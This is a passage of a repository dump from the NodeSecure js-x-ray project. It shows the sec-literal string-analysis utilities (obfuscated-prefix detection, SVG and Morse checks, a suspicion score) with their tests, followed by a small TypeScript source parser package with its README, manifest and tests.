26 | if (leftStr.charAt(id) !== rightStr.charAt(id)) {
27 | break;
28 | }
29 |
30 | commonStr += leftStr.charAt(id);
31 | }
32 |
33 | return commonStr === "" ? null : commonStr;
34 | }
35 |
36 | function reverseString(string) {
37 | return string.split("").reverse().join("");
38 | }
39 |
40 | /**
41 | * @description get the common string suffixes (at the end) pattern
42 | * @param {!string} leftStr
43 | * @param {!string} rightStr
44 | * @returns {string | null}
45 | *
46 | * @example
47 | * commonStringSuffix("boo", "foo"); // oo
48 | * commonStringSuffix("bromance", "brother"); // null
49 | */
50 | export function commonStringSuffix(leftStr, rightStr) {
51 | const commonPrefix = commonStringPrefix(
52 | reverseString(leftStr),
53 | reverseString(rightStr)
54 | );
55 |
56 | return commonPrefix === null ? null : reverseString(commonPrefix);
57 | }
58 |
59 | export function commonHexadecimalPrefix(identifiersArray) {
60 | if (!Array.isArray(identifiersArray)) {
61 | throw new TypeError("identifiersArray must be an Array");
62 | }
63 | const prefix = new FrequencySet();
64 |
65 | mainLoop: for (const value of identifiersArray.slice().sort()) {
66 | for (const [cp, count] of prefix) {
67 | const commonStr = commonStringPrefix(value, cp);
68 | if (commonStr === null) {
69 | continue;
70 | }
71 |
72 | if (commonStr === cp || commonStr.startsWith(cp)) {
73 | prefix.add(cp);
74 | }
75 | else if (cp.startsWith(commonStr)) {
76 | prefix.delete(cp);
77 | prefix.add(commonStr, count + 1);
78 | }
79 | continue mainLoop;
80 | }
81 |
82 | prefix.add(value);
83 | }
84 |
85 | // We remove one-time occurences (because they are normal variables)
86 | let oneTimeOccurence = 0;
87 | for (const [key, value] of prefix.entries()) {
88 | if (value === 1) {
89 | prefix.delete(key);
90 | oneTimeOccurence++;
91 | }
92 | }
93 |
94 | return {
95 | oneTimeOccurence,
96 | prefix: Object.fromEntries(prefix)
97 | };
98 | }
99 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/src/utils.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import isStringSvg from "is-svg";
3 | import stringWidth from "string-width";
4 |
5 | // Import Internal Dependencies
6 | import { toValue } from "./literal.js";
7 |
8 | /**
9 | * @param {SecLiteral.Literal | string} strOrLiteral
10 | * @returns {boolean}
11 | */
12 | export function isSvg(strOrLiteral) {
13 | try {
14 | const value = toValue(strOrLiteral);
15 |
16 | return isStringSvg(value) || isSvgPath(value);
17 | }
18 | catch {
19 | return false;
20 | }
21 | }
22 |
23 | /**
24 | * @description detect if a given string is a svg path or not.
25 | * @param {!string} str svg path literal
26 | * @returns {boolean}
27 | */
28 | export function isSvgPath(str) {
29 | if (typeof str !== "string") {
30 | return false;
31 | }
32 | const trimStr = str.trim();
33 |
34 | return trimStr.length > 4 && /^[mzlhvcsqta]\s*[-+.0-9][^mlhvzcsqta]+/i.test(trimStr) && /[\dz]$/i.test(trimStr);
35 | }
36 |
37 | /**
38 | * @description detect if a given string is a morse value.
39 | * @param {!string} str any string value
40 | * @returns {boolean}
41 | */
42 | export function isMorse(str) {
43 | return /^[.-]{1,5}(?:[\s\t]+[.-]{1,5})*(?:[\s\t]+[.-]{1,5}(?:[\s\t]+[.-]{1,5})*)*$/g.test(str);
44 | }
45 |
46 | /**
47 | * @param {!string} str any string value
48 | * @returns {string}
49 | */
50 | export function escapeRegExp(str) {
51 | return str.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
52 | }
53 |
54 | /**
55 | * @description Get the number of unique chars in a given string
56 | * @param {!string} str string
57 | * @param {string[]} [charsToExclude=[]]
58 | * @returns {number}
59 | */
60 | export function stringCharDiversity(str, charsToExclude = []) {
61 | const data = new Set(str);
62 | charsToExclude.forEach((char) => data.delete(char));
63 |
64 | return data.size;
65 | }
66 |
67 | // ---
68 | const kMaxSafeStringLen = 45;
69 | const kMaxSafeStringCharDiversity = 70;
70 | const kMinUnsafeStringLenThreshold = 200;
71 | const kScoreStringLengthThreshold = 750;
72 |
73 | /**
74 | * @description Analyze a given string an give it a suspicion score (higher than 1 or 2 mean that the string is highly suspect).
75 | * @param {!string} str string to analyze
76 | * @returns {number}
77 | */
78 | export function stringSuspicionScore(str) {
79 | const strLen = stringWidth(str);
80 | if (strLen < kMaxSafeStringLen) {
81 | return 0;
82 | }
83 |
84 | const includeSpace = str.includes(" ");
85 | const includeSpaceAtStart = includeSpace ? str.slice(0, kMaxSafeStringLen).includes(" ") : false;
86 |
87 | let suspectScore = includeSpaceAtStart ? 0 : 1;
88 | if (strLen > kMinUnsafeStringLenThreshold) {
89 | suspectScore += Math.ceil(strLen / kScoreStringLengthThreshold);
90 | }
91 |
92 | return stringCharDiversity(str) >= kMaxSafeStringCharDiversity ? suspectScore + 2 : suspectScore;
93 | }
94 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/test/hex.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { randomBytes } from "node:crypto";
3 | import { describe, test } from "node:test";
4 | import assert from "node:assert";
5 |
6 | // Import Internal Dependencies
7 | import { isHex, isSafe, CONSTANTS } from "../src/hex.js";
8 | import { createLiteral } from "./utils/index.js";
9 |
10 | describe("isHex()", () => {
11 | test("must return true for random 4 character hexadecimal values", () => {
12 | const hexValue = randomBytes(4).toString("hex");
13 |
14 | assert.strictEqual(isHex(hexValue), true, `Hexadecimal value '${hexValue}' must return true`);
15 | });
16 |
17 | test("must return true for ESTree Literals containing random 4 character hexadecimal values", () => {
18 | const hexValue = createLiteral(randomBytes(4).toString("hex"));
19 |
20 | assert.strictEqual(isHex(hexValue), true, `Hexadecimal value '${hexValue.value}' must return true`);
21 | });
22 |
23 | test("An hexadecimal value must be at least 4 chars long", () => {
24 | const hexValue = randomBytes(1).toString("hex");
25 |
26 | assert.strictEqual(isHex(hexValue), false, `Hexadecimal value '${hexValue}' must return false`);
27 | });
28 |
29 | test("should return false for non-string/ESTree Literal values", () => {
30 | const hexValue = 100;
31 |
32 | assert.strictEqual(isHex(hexValue), false, "100 is typeof number so it must always return false");
33 | });
34 | });
35 |
36 | describe("isSafe()", () => {
37 | test("must return true for a value with a length lower or equal five characters", () => {
38 | assert.ok(isSafe("h2l5x"));
39 | });
40 |
41 | test("must return true if the string diversity is only two characters or lower", () => {
42 | assert.ok(isSafe("aaaaaaaaaaaaaabbbbbbbbbbbbb"));
43 | });
44 |
45 | test("must always return true if argument is only number, lower or upper letters", () => {
46 | const values = ["00000000", "aaaaaaaa", "AAAAAAAAA"];
47 |
48 | for (const hexValue of values) {
49 | assert.ok(isSafe(hexValue));
50 | }
51 | });
52 |
53 | test("must always return true if the value start with one of the 'safe' values", () => {
54 | for (const safeValue of CONSTANTS.SAFE_HEXA_VALUES) {
55 | const hexValue = safeValue + randomBytes(4).toString("hex");
56 |
57 | assert.ok(isSafe(hexValue));
58 | }
59 | });
60 |
61 | test("must return true because it start with a safe pattern (and it must lowerCase the string)", () => {
62 | assert.ok(isSafe("ABCDEF1234567890"));
63 | });
64 |
65 | test("must always return false if the value start with one of the 'unsafe' values", () => {
66 | for (const unsafeValue of CONSTANTS.UNSAFE_HEXA_VALUES) {
67 | assert.strictEqual(isSafe(unsafeValue), false);
68 | }
69 | });
70 | });
71 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/test/literal.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { randomBytes } from "node:crypto";
3 | import { test } from "node:test";
4 | import assert from "node:assert";
5 |
6 | // Import Internal Dependencies
7 | import { isLiteral, toValue, toRaw, defaultAnalysis } from "../src/literal.js";
8 | import { createLiteral } from "./utils/index.js";
9 |
10 | test("isLiteral must return true for a valid ESTree Literal Node", () => {
11 | const literalSample = createLiteral("boo");
12 |
13 | assert.strictEqual(isLiteral(literalSample), true);
14 | assert.strictEqual(isLiteral("hey"), false);
15 | assert.strictEqual(isLiteral({ type: "fake", value: "boo" }), false);
16 | });
17 |
18 | test("toValue must return a string when we give a valid EStree Literal", () => {
19 | const literalSample = createLiteral("boo");
20 |
21 | assert.strictEqual(toValue(literalSample), "boo");
22 | assert.strictEqual(toValue("hey"), "hey");
23 | });
24 |
25 | test("toRaw must return a string when we give a valid EStree Literal", () => {
26 | const literalSample = createLiteral("boo", true);
27 |
28 | assert.strictEqual(toRaw(literalSample), "boo");
29 | assert.strictEqual(toRaw("hey"), "hey");
30 | });
31 |
32 | test("defaultAnalysis() of something else than a Literal must always return null", () => {
33 | assert.strictEqual(defaultAnalysis(10), null);
34 | });
35 |
36 | test("defaultAnalysis() of an Hexadecimal value", () => {
37 | const hexValue = randomBytes(10).toString("hex");
38 |
39 | const result = defaultAnalysis(createLiteral(hexValue, true));
40 | const expected = {
41 | isBase64: true, hasHexadecimalSequence: false, hasUnicodeSequence: false
42 | };
43 |
44 | assert.deepEqual(result, expected);
45 | });
46 |
47 | test("defaultAnalysis() of an Base64 value", () => {
48 | const hexValue = randomBytes(10).toString("base64");
49 |
50 | const result = defaultAnalysis(createLiteral(hexValue, true));
51 | const expected = {
52 | isBase64: true, hasHexadecimalSequence: false, hasUnicodeSequence: false
53 | };
54 |
55 | assert.deepEqual(result, expected);
56 | });
57 |
58 | test("defaultAnalysis() of an Unicode Sequence", () => {
59 | const unicodeSequence = createLiteral("'\\u0024\\u0024'", true);
60 |
61 | const result = defaultAnalysis(unicodeSequence);
62 | const expected = {
63 | isBase64: false, hasHexadecimalSequence: false, hasUnicodeSequence: true
64 | };
65 |
66 | assert.deepEqual(result, expected);
67 | });
68 |
69 | test("defaultAnalysis() of an Unicode Sequence", () => {
70 | const hexSequence = createLiteral("'\\x64\\x61\\x74\\x61'", true);
71 |
72 | const result = defaultAnalysis(hexSequence);
73 | const expected = {
74 | isBase64: false, hasHexadecimalSequence: true, hasUnicodeSequence: false
75 | };
76 |
77 | assert.deepEqual(result, expected);
78 | });
79 |
80 | test("defaultAnalysis() with a Literal with no 'raw' property must return two null values", () => {
81 | const hexValue = randomBytes(10).toString("base64");
82 |
83 | const result = defaultAnalysis(createLiteral(hexValue));
84 | const expected = {
85 | isBase64: true, hasHexadecimalSequence: null, hasUnicodeSequence: null
86 | };
87 |
88 | assert.deepEqual(result, expected);
89 | });
90 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/test/patterns.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { describe, test } from "node:test";
3 | import assert from "node:assert";
4 |
5 | // Import Internal Dependencies
6 | import {
7 | commonStringPrefix,
8 | commonStringSuffix,
9 | commonHexadecimalPrefix
10 | } from "../src/patterns.js";
11 |
12 | describe("commonStringPrefix()", () => {
13 | test("must return null for two strings that have no common prefix", () => {
14 | assert.strictEqual(
15 | commonStringPrefix("boo", "foo"),
16 | null,
17 | "there is no common prefix between 'boo' and 'foo' so the result must be null"
18 | );
19 | });
20 |
21 | test("should return the common prefix for strings with a shared prefix", () => {
22 | assert.strictEqual(
23 | commonStringPrefix("bromance", "brother"),
24 | "bro",
25 | "the common prefix between bromance and brother must be 'bro'."
26 | );
27 | });
28 | });
29 |
30 | describe("commonStringSuffix()", () => {
31 | test("must return the common suffix for the two strings with a shared suffix", () => {
32 | assert.strictEqual(
33 | commonStringSuffix("boo", "foo"),
34 | "oo",
35 | "the common suffix between boo and foo must be 'oo'"
36 | );
37 | });
38 |
39 | test("must return null for two strings with no common suffix", () => {
40 | assert.strictEqual(
41 | commonStringSuffix("bromance", "brother"),
42 | null,
43 | "there is no common suffix between 'bromance' and 'brother' so the result must be null"
44 | );
45 | });
46 | });
47 |
48 | describe("commonHexadecimalPrefix()", () => {
49 | test("should throw a TypeError if identifiersArray is not an Array", () => {
50 | assert.throws(() => commonHexadecimalPrefix(10), {
51 | name: "TypeError",
52 | message: "identifiersArray must be an Array"
53 | });
54 | });
55 |
56 | test("should handle only hexadecimal identifiers", () => {
57 | const data = [
58 | "_0x3c0c55", "_0x1185d5", "_0x160fc8", "_0x18a66f", "_0x18a835", "_0x1a8356",
59 | "_0x1adf3b", "_0x1e4510", "_0x1e9a2a", "_0x215558", "_0x2b0194", "_0x2fffe5",
60 | "_0x32c822", "_0x33bb79"
61 | ];
62 | const result = commonHexadecimalPrefix(data);
63 |
64 | assert.strictEqual(result.oneTimeOccurence, 0);
65 | assert.strictEqual(result.prefix._0x, data.length);
66 | });
67 |
68 | test("should add one non-hexadecimal identifier", () => {
69 | const data = [
70 | "_0x3c0c55", "_0x1185d5", "_0x160fc8", "_0x18a66f", "_0x18a835", "_0x1a8356",
71 | "_0x1adf3b", "_0x1e4510", "_0x1e9a2a", "_0x215558", "_0x2b0194", "_0x2fffe5",
72 | "_0x32c822", "_0x33bb79", "foo"
73 | ];
74 | const result = commonHexadecimalPrefix(data);
75 |
76 | assert.strictEqual(result.oneTimeOccurence, 1);
77 | assert.strictEqual(result.prefix._0x, data.length - 1);
78 | });
79 | });
80 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/test/utils.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { randomBytes } from "node:crypto";
3 | import { test } from "node:test";
4 | import assert from "node:assert";
5 |
6 | // Import Internal Dependencies
7 | import { stringCharDiversity, isSvg, isSvgPath, stringSuspicionScore } from "../src/utils.js";
8 |
9 | test("stringCharDiversity must return the number of unique chars in a given string", () => {
10 | assert.strictEqual(
11 | stringCharDiversity("helloo!"),
12 | 5,
13 | "the following string 'helloo!' contains five unique chars: h, e, l, o and !"
14 | );
15 | });
16 |
17 | test("stringCharDiversity must return the number of unique chars in a given string (but with exclusions of given chars)", () => {
18 | assert.strictEqual(stringCharDiversity("- - -\n", ["\n"]), 2);
19 | });
20 |
21 | test("isSvg must return true for an HTML svg balise", () => {
22 | const SVGHTML = ``;
29 | assert.strictEqual(isSvg(SVGHTML), true);
30 | });
31 |
32 | test("isSvg of a SVG Path must return true", () => {
33 | assert.strictEqual(isSvg("M150 0 L75 200 L225 200 Z"), true);
34 | });
35 |
36 | test("isSvg must return false for invalid XML string", () => {
37 | assert.strictEqual(isSvg(""), false);
38 | });
39 |
40 | test("isSvgPath must return true when we give a valid svg path and false when the string is not valid", () => {
41 | assert.strictEqual(isSvgPath("M150 0 L75 200 L225 200 Z"), true);
42 | assert.strictEqual(isSvgPath("M150"), false, "the length of an svg path must be always higher than four characters");
43 | assert.strictEqual(isSvgPath("hello world!"), false);
44 | assert.strictEqual(
45 | isSvgPath(10),
46 | false,
47 | "isSvgPath argument must always return false for anything that is not a string primitive"
48 | );
49 | });
50 |
51 | test("stringSuspicionScore must always return 0 if the string length if below 45", () => {
52 | for (let strSize = 1; strSize < 45; strSize++) {
53 | // We generate a random String (with slice it in two because a size of 20 for hex is 40 bytes).
54 | const randomStr = randomBytes(strSize).toString("hex").slice(strSize);
55 |
56 | assert.strictEqual(stringSuspicionScore(randomStr), 0);
57 | }
58 | });
59 |
60 | test("stringSuspicionScore must return one if the str is between 45 and 200 chars and had no space in the first 45 chars", () => {
61 | const randomStrWithNoSpaces = randomBytes(25).toString("hex");
62 |
63 | assert.strictEqual(stringSuspicionScore(randomStrWithNoSpaces), 1);
64 | });
65 |
66 | test(`stringSuspicionScore must return zero if the str is between 45 and 200 char
67 | and has at least one space in the first 45 chars`, () => {
68 | const randomStrWithSpaces = randomBytes(10).toString("hex") + " -_- " + randomBytes(30).toString("hex");
69 |
70 | assert.strictEqual(stringSuspicionScore(randomStrWithSpaces), 0);
71 | });
72 |
73 | test("stringSuspicionScore must return a score of two for a string with more than 200 chars and no spaces", () => {
74 | const randomStr = randomBytes(200).toString("hex");
75 |
76 | assert.strictEqual(stringSuspicionScore(randomStr), 2);
77 | });
78 |
79 | test("stringSuspicionScore must add two to the final score when the string has more than 70 uniques chars", () => {
80 | const randomStr = "૱꠸┯┰┱┲❗►◄Ăă0123456789ᶀᶁᶂᶃᶄᶆᶇᶈᶉᶊᶋᶌᶍᶎᶏᶐᶑᶒᶓᶔᶕᶖᶗᶘᶙᶚᶸᵯᵰᵴᵶᵹᵼᵽᵾᵿ⤢⤣⤤⤥⥆⥇™°×π±√ ";
81 |
82 | assert.strictEqual(stringSuspicionScore(randomStr), 3);
83 | });
84 |
--------------------------------------------------------------------------------
/workspaces/sec-literal/test/utils/index.js:
--------------------------------------------------------------------------------
1 | // @see https://github.com/estree/estree/blob/master/es5.md#literal
2 | export function createLiteral(value, includeRaw = false) {
3 | const node = { type: "Literal", value };
4 | if (includeRaw) {
5 | node.raw = value;
6 | }
7 |
8 | return node;
9 | }
10 |
11 |
--------------------------------------------------------------------------------
/workspaces/ts-source-parser/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 NodeSecure
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/workspaces/ts-source-parser/README.md:
--------------------------------------------------------------------------------
1 | # ts-source-parser
2 | [](https://www.npmjs.com/package/@nodesecure/ts-source-parser)
3 | [](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/ts-source-parser/graphs/commit-activity)
4 | [](https://api.securityscorecards.dev/projects/github.com/NodeSecure/js-x-ray)
6 | [](https://github.com/NodeSecure/js-x-ray/blob/master/workspaces/ts-source-parser/LICENSE)
7 | [](https://github.com/NodeSecure/js-x-ray/actions?query=workflow%3A%22sec+literal+CI%22)
8 |
9 | This package provide a TypeScript source parser for the `@nodesecure/js-x-ray` project.
10 |
11 | ## Getting Started
12 |
13 | This package is available in the Node Package Repository and can be easily installed with [npm](https://docs.npmjs.com/getting-started/what-is-npm) or [yarn](https://yarnpkg.com).
14 |
15 | ```bash
16 | $ npm i @nodesecure/ts-source-parser
17 | # or
18 | $ yarn add @nodesecure/ts-source-parser
19 | ```
20 |
21 | ## Usage example
22 | ```js
23 | import { TsSourceParser } from "@nodesecure/ts-source-parser";
24 |
25 | const parser = new TsSourceParser();
26 | const body = parser.parse("const x: number = 5;");
27 |
28 | console.log(body);
29 | ```
30 |
31 | ## Usage with `js-x-ray`
32 | ```js
33 | import { AstAnalyser } from "@nodesecure/js-x-ray";
34 | import { readFileSync } from "node:fs";
35 |
36 | const { warnings, dependencies } = runASTAnalysis(
37 | readFileSync("./file.ts", "utf-8"),
38 | { customParser: new TsSourceParser() }
39 | );
40 |
41 | console.log(dependencies);
42 | console.dir(warnings, { depth: null });
43 | ```
44 |
--------------------------------------------------------------------------------
/workspaces/ts-source-parser/index.d.ts:
--------------------------------------------------------------------------------
1 | import { tsParsingOptions } from "./src/TsSourceParser";
2 |
3 | declare class TsSourceParser {
4 | parse(
5 | code: string,
6 | options = tsParsingOptions,
7 | ): TSESTree.Program;
8 | }
9 |
--------------------------------------------------------------------------------
/workspaces/ts-source-parser/index.js:
--------------------------------------------------------------------------------
1 | export { TsSourceParser } from "./src/TsSourceParser.js";
2 |
--------------------------------------------------------------------------------
/workspaces/ts-source-parser/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "@nodesecure/ts-source-parser",
3 | "version": "1.0.0",
4 | "description": "TypeScript parser for AST XRay analysis",
5 | "type": "module",
6 | "exports": "./index.js",
7 | "types": "./index.d.ts",
8 | "scripts": {
9 | "lint": "eslint src test",
10 | "test-only": "glob -c \"node --test-reporter=spec --test\" \"./test/**/*.spec.js\"",
11 | "test": "c8 --all --src ./src -r html npm run test-only",
12 | "check": "npm run lint && npm run test"
13 | },
14 | "repository": {
15 | "type": "git",
16 | "url": "git+https://github.com/NodeSecure/js-x-ray.git"
17 | },
18 | "keywords": [
19 | "typescript",
20 | "estree",
21 | "ast",
22 | "utils"
23 | ],
24 | "files": [
25 | "src"
26 | ],
27 | "author": "Michelet Jean ",
28 | "license": "MIT",
29 | "bugs": {
30 | "url": "https://github.com/NodeSecure/js-x-ray/issues"
31 | },
32 | "homepage": "https://github.com/NodeSecure/js-x-ray/tree/master/workspaces/ts-source-parser#readme",
33 | "dependencies": {
34 | "@typescript-eslint/typescript-estree": "^8.0.0"
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/workspaces/ts-source-parser/src/TsSourceParser.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { parse } from "@typescript-eslint/typescript-estree";
3 |
4 | // CONSTANTS
5 | export const tsParsingOptions = {
6 | jsDocParsingMode: "none",
7 | jsx: true,
8 | loc: true,
9 | range: false
10 | };
11 |
12 | export class TsSourceParser {
13 | /**
14 | * @param {object} options
15 | */
16 | parse(source, options = {}) {
17 | const { body } = parse(source, {
18 | ...tsParsingOptions,
19 | ...options
20 | });
21 |
22 | return body;
23 | }
24 | }
25 |
26 |
--------------------------------------------------------------------------------
/workspaces/ts-source-parser/test/TsSourceParser.spec.js:
--------------------------------------------------------------------------------
1 | // Import Node.js Dependencies
2 | import { describe, it } from "node:test";
3 | import assert from "assert/strict";
4 |
5 | // Import Internal Dependencies
6 | import { TsSourceParser } from "../src/TsSourceParser.js";
7 |
8 | describe("TsSourceParser", () => {
9 | describe("parse", () => {
10 | const parser = new TsSourceParser();
11 |
12 | it("should correctly parse with default options", () => {
13 | const source = "const x: number = 5;";
14 | const body = parser.parse(source);
15 |
16 | assert.strictEqual(body[0].type, "VariableDeclaration");
17 | assert.ok(body[0].loc);
18 | assert.ok(body[0].range === undefined);
19 | });
20 |
21 | it("should correctly parse with custom options", () => {
22 | const source = "const x: number = 5;";
23 | const body = parser.parse(source, { loc: false, range: true });
24 |
25 | assert.strictEqual(body[0].type, "VariableDeclaration");
26 | assert.ok(body[0].loc === undefined);
27 | assert.ok(body[0].range);
28 | });
29 |
30 | it("should not crash parsing JSX by default", () => {
31 | const source = `const Dropzone = forwardRef(({ children, ...params }, ref) => {
32 | const { open, ...props } = useDropzone(params);
33 | useImperativeHandle(ref, () => ({ open }), [open]);
34 | return {children({ ...props, open })};
35 | });`;
36 |
37 | assert.doesNotThrow(() => {
38 | parser.parse(source);
39 | });
40 | });
41 |
42 | it("should crash parsing JSX if jsx: false", () => {
43 | const source = `const Dropzone = forwardRef(({ children, ...params }, ref) => {
44 | const { open, ...props } = useDropzone(params);
45 | useImperativeHandle(ref, () => ({ open }), [open]);
46 | return {children({ ...props, open })};
47 | });`;
48 |
49 | assert.throws(() => {
50 | parser.parse(source, { jsx: false });
51 | });
52 | });
53 | });
54 | });
55 |
--------------------------------------------------------------------------------